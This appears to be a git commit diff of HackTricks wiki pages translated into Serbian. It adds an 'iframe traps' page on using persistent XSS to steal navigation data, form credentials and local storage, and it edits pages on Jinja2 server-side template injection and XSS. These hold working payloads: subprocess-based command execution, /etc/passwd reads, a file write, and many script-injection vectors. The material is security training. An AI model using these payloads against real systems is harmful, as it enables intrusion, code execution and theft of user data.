Translated ['pentesting-web/iframe-traps.md', 'pentesting-web/ssti-serve

This commit is contained in:
Translator 2024-06-14 10:18:30 +00:00
parent ccfab7039f
commit a6a421b187
7 changed files with 185 additions and 97 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

View file

@ -587,7 +587,6 @@
* [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md)
* [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
* [IDOR](pentesting-web/idor.md)
* [Integer Overflow](pentesting-web/integer-overflow.md)
* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
* [LDAP Injection](pentesting-web/ldap-injection.md)
* [Login Bypass](pentesting-web/login-bypass/README.md)
@ -651,6 +650,7 @@
* [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md)
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
* [Integer Overflow](pentesting-web/xss-cross-site-scripting/integer-overflow.md)
* [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md)
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
@ -672,6 +672,7 @@
* [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
* [Iframe Traps](pentesting-web/iframe-traps.md)
## ⛈️ Cloud Security

View file

@ -0,0 +1,47 @@
# Iframe Zamke
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## Osnovne Informacije
Ova forma zloupotrebe XSS-a putem iframes-a radi krađe informacija od korisnika koji se kreću po web stranici prvobitno je objavljena u ovim 2 posta sajta trustedsec.com: [**ovde**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **i** [**ovde**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
Napad počinje na stranici ranjivoj na XSS gde je moguće da **žrtve ne napuste XSS** tako što ih se **natera da navigiraju unutar iframes-a** koji zauzima celu web aplikaciju.
XSS napad će u osnovi učitati web stranicu u iframe-u na 100% ekrana. Stoga, žrtva **neće primetiti da se nalazi unutar iframes-a**. Zatim, ako žrtva navigira na stranici klikanjem linkova unutar iframes-a (unutar web-a), ona će **navigirati unutar iframes-a** sa proizvoljnim JS-om učitanim koji krade informacije sa te navigacije.
Osim toga, da bi bilo realističnije, moguće je koristiti neke **slušače** da provere kada iframe promeni lokaciju stranice, i ažuriraju URL browsera sa tom lokacijom koju korisnik misli da se kreće stranicama koristeći browser.
<figure><img src="../.gitbook/assets/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
Takođe, moguće je koristiti slušače da se ukradu osetljive informacije, ne samo druge stranice koje žrtva posećuje, već i podaci korišteni za **popunjavanje formi** i slanje ih (kredencijali?) ili za **krađu lokalnog skladištenja**...
Naravno, glavna ograničenja su da će **žrtva zatvaranjem taba ili unošenjem druge URL adrese u browseru izaći iz iframes-a**. Drugi način da se ovo uradi bi bilo **osvežavanje stranice**, međutim, ovo bi moglo biti delimično **sprečeno** onemogućavanjem kontekst menija desnim klikom svaki put kada se učita nova stranica unutar iframes-a ili primetiti kada miš korisnika napusti iframes, potencijalno da klikne dugme za osvežavanje browsera i u tom slučaju URL browsera se ažurira sa originalnom URL adresom ranjivom na XSS tako da ako korisnik ponovo učita, ponovo će biti otrovan (napomena da ovo nije vrlo prikriveno).
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -30,9 +30,9 @@ return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
```
### **Debug izjava**
### **Debug Izjava**
Ako je Debug ekstenzija omogućena, `debug` tag će biti dostupan za ispis trenutnog konteksta, kao i dostupne filtere i testove. Ovo je korisno kako biste videli šta je dostupno za korišćenje u predlošku bez postavljanja debagera.
Ako je omogućeno proširenje za debagovanje, dostupna će biti oznaka `debug` za ispis trenutnog konteksta, kao i dostupnih filtera i testova. Ovo je korisno kako biste videli šta je dostupno za korišćenje u predlošku bez postavljanja debagera.
```python
<pre>
@ -43,6 +43,7 @@ Ako je Debug ekstenzija omogućena, `debug` tag će biti dostupan za ispis trenu
</pre>
```
### **Izbaci sve konfiguracione promenljive**
@ -60,6 +61,7 @@ Izvor: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](
{% endraw %}
```
## **Jinja Injection**
@ -79,9 +81,9 @@ request
```
### Obnavljanje \<class 'object'>
Zatim, iz ovih objekata moramo doći do klase: **`<class 'object'>`** kako bismo pokušali **obnoviti** definisane **klase**. Ovo je zato što iz ovog objekta možemo pozvati metodu **`__subclasses__`** i **pristupiti svim klasama iz python okruženja koje nije peskovnikovano**.
Zatim, iz ovih objekata moramo doći do klase: **`<class 'object'>`** kako bismo pokušali **obnoviti** definisane **klase**. Ovo je zato što iz ovog objekta možemo pozvati metod **`__subclasses__`** i **pristupiti svim klasama iz nesandboxovanog** Python okruženja.
Da biste pristupili toj **klasi objekta**, morate **pristupiti objektu klase** a zatim pristupiti ili **`__base__`**, **`__mro__()[-1]`** ili `.`**`mro()[-1]`**. A zatim, **nakon** dostizanja ove **klase objekta** pozivamo **`__subclasses__()`**.
Da biste pristupili toj **klasi objekta**, morate **pristupiti objektu klase** a zatim pristupiti ili **`__base__`**, **`__mro__()[-1]`** ili `.`**`mro()[-1]`**. I onda, **nakon** dostizanja ove **klase objekta** pozivamo **`__subclasses__()`**.
Proverite ove primere:
```python
@ -119,6 +121,7 @@ dict.__mro__[-1]
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
@ -135,7 +138,7 @@ Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih fu
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
**Udaljeno izvršavanje koda (RCE)**
**RCE**
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
@ -196,6 +199,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
{% endraw %}
```
* [**Vratite se ovde za više opcija za pristup globalnom objektu**](jinja2-ssti.md#pristup-globalnim-objektima)
* [**Vratite se ovde za više opcija za pristup klasi objekta**](jinja2-ssti.md#oporavak-manje-od-klase-objekta-veće)
@ -209,7 +213,7 @@ Podrazumevano, Flask enkodira sav HTML unutar šablona iz sigurnosnih razloga:
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**Filter `safe`** nam omogućava da ubacimo JavaScript i HTML u stranicu **bez** enkodiranja **HTML-a**, kao što je prikazano ovde:
**Filter `safe`** nam omogućava da ubacimo JavaScript i HTML u stranicu **bez** enkodiranja u HTML-u, kao što je prikazano ovde:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
@ -235,11 +239,12 @@ Bez **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
{% endraw %}
```
## Jinja Injection bez **\<class 'object'>**
Iz [**globalnih objekata**](jinja2-ssti.md#pristup-globalnim-objektima) postoji još jedan način da se dođe do **RCE-a bez korišćenja te klase.**\
Ako uspete da pristupite bilo kojoj **funkciji** iz tih globalnih objekata, moći ćete da pristupite **`__globals__.__builtins__`** i odatle je **RCE** vrlo **jednostavan**.
Ako uspete da pristupite bilo kojoj **funkciji** iz tih globalnih objekata, moći ćete da pristupite **`__globals__.__builtins__`** i odande je **RCE** veoma **jednostavan**.
Možete **pronaći funkcije** iz objekata **`request`**, **`config`** i bilo kog **drugog** interesantnog **globalnog objekta** do kojeg imate pristup sa:
```bash
@ -284,7 +289,7 @@ Kada pronađete neke funkcije, možete povratiti ugrađene funkcije pomoću:
```
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门用于CTF的工具但也可以用于在真实场景中暴力破解无效参数。该工具只是喷洒单词和查询以检测过滤器搜索绕过,并提供交互式控制台。
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门针对CTF的工具但也可以用于在真实场景中暴力破解无效参数。该工具只是简单地发送单词和查询以检测过滤器搜索绕过方式,并提供交互式控制台。
```
webui:
As the name suggests, web UI
@ -312,7 +317,7 @@ The request will be urlencoded by default according to the HTTP format, which ca
## Reference
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* Proverite [attr trik kako biste zaobišli zabranjene znakove ovde](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* Proverite [attr trik kako biste zaobišli zabranjene karaktere ovde](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)

View file

@ -1,6 +1,6 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
@ -8,7 +8,7 @@ Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne mo
## Metodologija
1. Proverite da li se **bilo koja vrednost kojom upravljate** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) **reflektuje** u HTML-u ili se **koristi** od strane **JS** koda.
1. Proverite da li se **bilo koja vrednost kojom upravljate** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) reflektuje u HTML-u ili se **koristi** od strane **JS** koda.
2. **Pronađite kontekst** gde se reflektuje/koristi.
3. Ako je **reflektovano**
1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga pripremite payload:
@ -41,15 +41,15 @@ Kada radite na složenom XSS-u, možda će vam biti zanimljivo znati o:
## Reflektovane vrednosti
Da biste uspešno iskoristili XSS, prvo što trebate pronaći je **vrednost kojom upravljate koja se reflektuje** na web stranici.
Da biste uspešno iskoristili XSS, prva stvar koju treba pronaći je **vrednost kojom upravljate koja se reflektuje** na veb stranici.
* **Intermediarno reflektovano**: Ako otkrijete da se vrednost parametra ili čak putanje reflektuje na web stranici, možete iskoristiti **Reflected XSS**.
* **Srednje reflektovano**: Ako otkrijete da se vrednost parametra ili čak putanje reflektuje na veb stranici, možete iskoristiti **Reflected XSS**.
* **Smešteno i reflektovano**: Ako otkrijete da je vrednost kojom upravljate sačuvana na serveru i reflektuje se svaki put kada pristupite stranici, možete iskoristiti **Stored XSS**.
* **Pristupljeno putem JS-a**: Ako otkrijete da se vrednost kojom upravljate pristupa korišćenjem JS-a, možete iskoristiti **DOM XSS**.
* **Pristupljeno putem JS**: Ako otkrijete da se vrednost kojom upravljate pristupa korišćenjem JS-a, možete iskoristiti **DOM XSS**.
## Konteksti
Kada pokušavate iskoristiti XSS, prvo što trebate znati je **gde se reflektuje vaš unos**. Zavisno od konteksta, moći ćete izvršiti proizvoljan JS kod na različite načine.
Kada pokušavate iskoristiti XSS, prva stvar koju treba znati je **gde se vaš unos reflektuje**. Zavisno od konteksta, moći ćete izvršiti proizvoljan JS kod na različite načine.
### Čisti HTML
@ -62,10 +62,10 @@ Ako se vaš unos reflektuje unutar vrednosti atributa oznake, možete pokušati:
1. Da **izađete iz atributa i iz oznake** (tada ćete biti u čistom HTML-u) i kreirate novu HTML oznaku za zloupotrebu: `"><img [...]`
2. Ako **možete izaći iz atributa ali ne i iz oznake** (`>` je enkodiran ili obrisan), zavisno od oznake možete **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
3. Ako **ne možete izaći iz atributa** (`"` je enkodiran ili obrisan), onda zavisno od **kog atributa** se vaša vrednost reflektuje **da li kontrolišete celu vrednost ili samo deo** moći ćete je zloupotrebiti. Na **primer**, ako kontrolišete događaj poput `onclick=`, moći ćete da naterate da izvrši proizvoljan kod kada se klikne. Još jedan interesantan **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
3. Ako **ne možete izaći iz atributa** (`"` je enkodiran ili obrisan), onda zavisno od **kog atributa** se vaša vrednost reflektuje u **da li kontrolišete celu vrednost ili samo deo** moći ćete je zloupotrebiti. Na **primer**, ako kontrolišete događaj poput `onclick=`, moći ćete ga naterati da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
4. Ako se vaš unos reflektuje unutar "**neiskorišćenih oznaka**" možete pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (trebaće vam neka vrsta socijalnog inženjera da iskoristite ovo): **`" accesskey="x" onclick="alert(1)" x="`**
Čudan primer Angular koji izvršava XSS ako kontrolišete ime klase:
Čudan primer Angulara koji izvršava XSS ako kontrolišete ime klase:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -76,7 +76,7 @@ Ako se vaš unos reflektuje unutar vrednosti atributa oznake, možete pokušati:
U ovom slučaju, vaš unos se reflektuje između **`<script> [...] </script>`** oznaka HTML stranice, unutar `.js` fajla ili unutar atributa korišćenjem **`javascript:`** protokola:
* Ako je reflektovan između **`<script> [...] </script>`** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da ubacite `</script>` i izbegnete ovaj kontekst. Ovo funkcioniše jer će **pregledač prvo parsirati HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaš ubačeni `</script>` tag unutar HTML koda.
* Ako je reflektovan **unutar JS stringa** i prethodni trik ne funkcioniše, moraćete **izaći** iz stringa, **izvršiti** svoj kod i **rekonstruisati** JS kod (ako postoji greška, neće biti izvršena):
* Ako je reflektovan **unutar JS stringa** i prethodni trik ne funkcioniše, moraćete da **izađete** iz stringa, **izvršite** svoj kod i **rekonstruišete** JS kod (ako postoji greška, neće biti izvršena):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
@ -89,7 +89,7 @@ U ovom slučaju, vaš unos se reflektuje između **`<script> [...] </script>`**
```
#### Podizanje Javascript-a
Javascript Hoisting se odnosi na mogućnost **deklarisanja funkcija, promenljivih ili klasa nakon što su korišćene, tako da možete iskoristiti situacije gde XSS koristi nedeklarisane promenljive ili funkcije.**\
Podizanje Javascript-a se odnosi na mogućnost **deklarisanja funkcija, promenljivih ili klasa nakon što su korišćene, tako da možete iskoristiti situacije gde XSS koristi nedeklarisane promenljive ili funkcije.**\
**Proverite sledeću stranicu za više informacija:**
{% content-ref url="js-hoisting.md" %}
@ -100,13 +100,13 @@ Javascript Hoisting se odnosi na mogućnost **deklarisanja funkcija, promenljivi
Na nekoliko web stranica postoje endpointovi koji **prihvataju kao parametar ime funkcije za izvršavanje**. Čest primer koji se može videti je nešto poput: `?callback=callbackFunc`.
Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je **menjanje vrednosti parametra** (na primer u 'Vulnerable') i traženje grešaka u konzoli kao što je:
Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je **menjanje vrednosti parametra** (na primer u 'Ranjiv') i traženje grešaka u konzoli poput:
![](<../../.gitbook/assets/image (711).png>)
U slučaju da je ranjiv, možda ćete moći da **pokrenete upozorenje** samo slanjem vrednosti: **`?callback=alert(1)`**. Međutim, vrlo je često da će ovi endpointovi **validirati sadržaj** da bi dozvolili samo slova, brojeve, tačke i donje crte (**`[\w\._]`**).
U slučaju da je ranjivo, možete **pokrenuti upozorenje** samo slanjem vrednosti: **`?callback=alert(1)`**. Međutim, vrlo je često da će ovi endpointovi **validirati sadržaj** da bi dozvolili samo slova, brojeve, tačke i donje crte (**`[\w\._]`**).
Ipak, čak i sa tom ograničenom moguće je izvršiti neke akcije. To je zato što možete koristiti te validne karaktere da **pristupite bilo kom elementu u DOM-u**:
Ipak, čak i sa tom ograničenjem, još uvek je moguće izvršiti neke akcije. To je zato što možete koristiti te validne karaktere da **pristupite bilo kom elementu u DOM-u**:
![](<../../.gitbook/assets/image (747).png>)
@ -118,9 +118,9 @@ nextElementSibiling
lastElementSibiling
parentElement
```
Možete takođe pokušati da **pokrenete Javascript funkcije** direktno: `obj.sales.delOrders`.
Možete takođe pokušati da **pokrenete JavaScript funkcije** direktno: `obj.sales.delOrders`.
Međutim, obično su endpointi koji izvršavaju navedenu funkciju endpointi bez mnogo interesantnog DOM-a, **druge stranice na istom poreklu** će imati **zanimljiviji DOM** za obavljanje više akcija.
Međutim, obično su endpointi koji izvršavaju navedenu funkciju endpointi bez mnogo interesantnog DOM-a, **druge stranice na istom izvoru** će imati **interesantniji DOM** za obavljanje više akcija.
Stoga, kako bi se **zloupotrebila ova ranjivost u drugačijem DOM-u**, razvijena je eksploatacija **Same Origin Method Execution (SOME)**:
@ -130,15 +130,15 @@ Stoga, kako bi se **zloupotrebila ova ranjivost u drugačijem DOM-u**, razvijena
### DOM
Postoji **JS kod** koji **nesigurno** koristi neke **podatke kontrolisane od strane napadača** poput `location.href`. Napadač bi mogao iskoristiti ovo da izvrši proizvoljan JS kod.
Postoji **JS kod** koji **nesigurno** koristi neke **podatke kontrolisane od strane napadača** poput `location.href`. Napadač bi mogao da zloupotrebi ovo da izvrši proizvoljan JS kod.
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
### **Universalni XSS**
### **Universal XSS**
Ovakav tip XSS-a može se pronaći **bilo gde**. Ne zavise samo od eksploatacije klijenta web aplikacije već od **bilo kog** **konteksta**. Ovakav tip **proizvoljne JavaScript eksploatacije** može čak biti zloupotrebljen za dobijanje **RCE**, **čitanje** **proizvoljnih** **fajlova** na klijentima i serverima, i više.\
Ovakav tip XSS-a može se pronaći **bilo gde**. Ne zavise samo o eksploataciji klijenta web aplikacije već o **bilo kom** **kontekstu**. Ovakva vrsta **proizvoljne JavaScript eksploatacije** može čak biti zloupotrebljena da se dobije **RCE**, **čitanje** **proizvoljnih** **fajlova** na klijentima i serverima, i još više.\
Neki **primeri**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -149,17 +149,17 @@ Neki **primeri**:
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endcontent-ref %}
## Bajpasovanje WAF enkodiranjem slike
## WAF zaobilaženje kodiranja slike
![sa https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
## Ubacivanje unutar sirovog HTML-a
Kada se vaš unos reflektuje **unutar HTML stranice** ili možete da pobegnete i ubacite HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete zloupotrebiti `<` da biste kreirali nove oznake: Samo pokušajte da **reflektujete** taj **karakter** i proverite da li je **HTML enkodiran** ili **obrisan** ili ako je **reflektovan bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\
Za ove slučajeve takođe **imajte na umu** [**Ubacivanje šablona na klijentskoj strani**](../client-side-template-injection-csti.md)**.**\
Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Napomena: HTML komentar se može zatvoriti koristeći**** ****`-->`**** ****ili**** ****`--!>`**_
U ovom slučaju, ako se ne koristi crna/bela lista, mogli biste koristiti payload-ove poput:
U ovom slučaju, i ako se ne koristi crna/bela lista, možete koristiti payload-ove poput:
```html
<script>alert(1)</script>
<img src=x onerror=alert(1) />
@ -174,7 +174,7 @@ Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-shee
### Prilagođene oznake
Ako niste pronašli nijednu validnu HTML oznaku, možete pokušati da **kreirate prilagođenu oznaku** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, morate završiti URL sa `#` da biste naveli stranicu da se **fokusira na taj objekat** i **izvrši** kod:
Ako niste pronašli nijednu validnu HTML oznaku, možete pokušati da **kreirate prilagođenu oznaku** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, morate završiti URL sa `#` da biste stranici omogućili **fokusiranje na taj objekat** i **izvršili** kod:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -241,24 +241,20 @@ onerror=alert`1`
<script src=//aa.es>
<script src=//℡㏛.pw>
```
Poslednji koristi 2 Unicode karaktera koji se proširuju na 5: telsr\
Više ovakvih karaktera može se pronaći [ovde](https://www.unicode.org/charts/normalization/).\
Da biste proverili u kojim se karakterima dekomponuju, proverite [ovde](https://www.compart.com/en/unicode/U+2121).
### Klikni na XSS - Clickjacking
### Klikni XSS - Clickjacking
Ako za iskorišćavanje ranjivosti treba **korisnik da klikne na link ili formu** sa unapred popunjenim podacima, možete pokušati da [**zloupotrebite Clickjacking**](../clickjacking.md#xss-clickjacking) (ako je stranica ranjiva).
Ako je potrebno da **korisnik klikne na link ili formu** sa unapred popunjenim podacima kako bi se iskoristila ranjivost, možete pokušati da [**zloupotrebite Clickjacking**](../clickjacking.md#xss-clickjacking) (ako je stranica ranjiva).
### Nemoguće - Dangling Markup
Ako samo mislite da **je nemoguće kreirati HTML tag sa atributom za izvršavanje JS koda**, trebalo bi da proverite [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) jer biste mogli **iskoristiti** ranjivost **bez** izvršavanja **JS** koda.
Ako smatrate da **je nemoguće kreirati HTML tag sa atributom za izvršavanje JS koda**, trebalo bi da proverite [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) jer biste mogli **iskoristiti** ranjivost **bez** izvršavanja **JS** koda.
## Ubacivanje unutar HTML taga
### Unutar taga/izlazak iz vrednosti atributa
Ako ste **unutar HTML taga**, prvo što možete pokušati je da **izađete** iz taga i koristite neke od tehnika navedenih u [prethodnom odeljku](./#injecting-inside-raw-html) za izvršavanje JS koda.\
Ako **ne možete izaći iz taga**, možete kreirati nove atribute unutar taga kako biste pokušali izvršiti JS kod, na primer koristeći neki payload kao (_napomena da u ovom primeru dvostruki navodnici se koriste za izlazak iz atributa, nećete ih trebati ako se vaš unos odražava direktno unutar taga_):
Ako se nalazite **unutar HTML taga**, prvo što možete pokušati je da **izađete** iz taga i koristite neke od tehnika navedenih u [prethodnom odeljku](./#injecting-inside-raw-html) kako biste izvršili JS kod.\
Ako **ne možete izaći iz taga**, možete kreirati nove atribute unutar taga kako biste pokušali da izvršite JS kod, na primer koristeći neki payload kao (_napomena da su u ovom primeru dvostruki navodnici korišćeni za izlazak iz atributa, nećete ih trebati ako se vaš unos odražava direktno unutar taga_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -309,7 +305,7 @@ Imajte na umu da je **svaka vrsta HTML enkodiranja validna**:
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```
### Posebni protokoli unutar atributa
### Specijalni protokoli unutar atributa
Ovde možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da **izvršite proizvoljan JS kod**. Neke će zahtevati interakciju korisnika, a neke neće.
```javascript
@ -333,7 +329,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Mesta gde možete ubaciti ove protokole**
**Uopšteno**, `javascript:` protokol se može **koristiti u bilo kom tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
**Uopšteno** se `javascript:` protokol može **koristiti u bilo kom tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -359,13 +355,13 @@ _**U ovom slučaju, trikovi enkodiranja HTML-a i Unicode enkodiranja iz prethodn
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Osim toga, postoji još jedan **koristan trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL enkodiran, biće dekodiran pre nego što se izvrši.** Dakle, ako trebate da **izbegnete** iz **stringa** koristeći **jednostruki navodnik** i primetite da je **URL enkodiran**, zapamtite da **nije važno,** biće **interpretiran** kao **jednostruki navodnik** tokom **izvršavanja**.
Osim toga, postoji još jedan **lep trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL enkodiran, biće dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **stringa** koristeći **jednostruki navodnik** i primetite da je **URL enkodiran**, zapamtite da **nije važno,** biće **interpretiran** kao **jednostruki navodnik** tokom **izvršavanja**.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Imajte na umu da ako pokušate **koristiti i** `URLencode + HTMLencode` u bilo kom redosledu za enkodiranje **payload-a**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
Napomena da ako pokušate **koristiti i URLencode + HTMLencode** u bilo kom redosledu za enkodiranje **payload-a**, to **neće** **raditi**, ali možete **ih mešati unutar payload-a**.
**Korišćenje heksadecimalnog i oktalnog enkodiranja sa `javascript:`**
@ -391,9 +387,9 @@ Ako možete ubaciti bilo koji URL u proizvoljni **`<a href=`** tag koji sadrži
